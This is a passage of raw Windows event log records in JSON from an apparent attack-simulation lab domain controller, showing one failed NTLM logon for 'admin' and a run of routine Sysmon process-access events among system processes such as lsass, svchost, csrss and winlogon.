requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"58606","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":749,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.016\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010DC460000}\r\nTargetProcessId: 716\r\nTargetImage: C:\\Windows\\system32\\wininit.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25dfa|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.016","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010DC460000}","TargetProcessId":"716","TargetImage":"C:\\Windows\\system32\\wininit.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25dfa|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":750,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD1-5F2D-0000-0010AF2A0000}\r\nSourceProcessId: 448\r\nSourceThreadId: 632\r\nSourceImage: C:\\Windows\\System32\\smss.exe\r\nTargetProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nTargetProcessId: 588\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x101441\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|\\SystemRoot\\System32\\smss.exe+3fee|\\SystemRoot\\System32\\smss.exe+3b53|C:\\Windows\\SYSTEM32\\ntdll.dll+28761|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD1-5F2D-0000-0010AF2A0000}","SourceProcessId":"448","SourceThreadId":"632","SourceImage":"C:\\Windows\\System32\\smss.exe","TargetProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","TargetProcessId":"588","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x101441","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|\\SystemRoot\\System32\\smss.exe+3fee|\\SystemRoot\\System32\\smss.exe+3b53|C:\\Windows\\SYSTEM32\\ntdll.dll+28761|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":751,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1028\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010DC460000}\r\nTargetProcessId: 716\r\nTargetImage: C:\\Windows\\system32\\wininit.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1aefc|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3736d|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1028","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010DC460000}","TargetProcessId":"716","TargetImage":"C:\\Windows\\system32\\wininit.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1aefc|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3736d|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":752,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1028\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010DC460000}\r\nTargetProcessId: 716\r\nTargetImage: C:\\Windows\\system32\\wininit.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eacf|c:\\windows\\system32\\lsm.dll+1af16|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3736d|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1028","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010DC460000}","TargetProcessId":"716","TargetImage":"C:\\Windows\\system32\\wininit.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eacf|c:\\windows\\system32\\lsm.dll+1af16|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3736d|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":753,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1028\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nTargetProcessId: 644\r\nTargetImage: C:\\Windows\\system32\\csrss.exe\r\nGrantedAccess: 0x101000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1af3c|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3736d|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1028","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","TargetProcessId":"644","TargetImage":"C:\\Windows\\system32\\csrss.exe","GrantedAccess":"0x101000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1af3c|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3736d|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":754,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1028\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1aefc|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3740c|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1028","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1aefc|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3740c|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":755,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1028\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+1af16|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3740c|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1028","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+1af16|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3740c|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":756,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1028\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-001043470000}\r\nTargetProcessId: 724\r\nTargetImage: C:\\Windows\\system32\\csrss.exe\r\nGrantedAccess: 0x101000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1af3c|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3740c|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1028","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-001043470000}","TargetProcessId":"724","TargetImage":"C:\\Windows\\system32\\csrss.exe","GrantedAccess":"0x101000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+1af3c|c:\\windows\\system32\\lsm.dll+22e79|c:\\windows\\system32\\lsm.dll+bfcf|c:\\windows\\system32\\lsm.dll+3740c|c:\\windows\\system32\\lsm.dll+15c19|c:\\windows\\system32\\lsm.dll+361a8|c:\\windows\\system32\\lsm.dll+3531a|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":757,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-001043470000}\r\nTargetProcessId: 724\r\nTargetImage: C:\\Windows\\system32\\csrss.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eacf|c:\\windows\\system32\\lsm.dll+1aac4|c:\\windows\\system32\\lsm.dll+1ad51|C:\\Windows\\SYSTEM32\\ntdll.dll+28761|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-001043470000}","TargetProcessId":"724","TargetImage":"C:\\Windows\\system32\\csrss.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eacf|c:\\windows\\system32\\lsm.dll+1aac4|c:\\windows\\system32\\lsm.dll+1ad51|C:\\Windows\\SYSTEM32\\ntdll.dll+28761|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":758,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nTargetProcessId: 644\r\nTargetImage: C:\\Windows\\system32\\csrss.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eacf|c:\\windows\\system32\\lsm.dll+1aac4|c:\\windows\\system32\\lsm.dll+1ad51|C:\\Windows\\SYSTEM32\\ntdll.dll+28761|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","TargetProcessId":"644","TargetImage":"C:\\Windows\\system32\\csrss.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eacf|c:\\windows\\system32\\lsm.dll+1aac4|c:\\windows\\system32\\lsm.dll+1ad51|C:\\Windows\\SYSTEM32\\ntdll.dll+28761|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 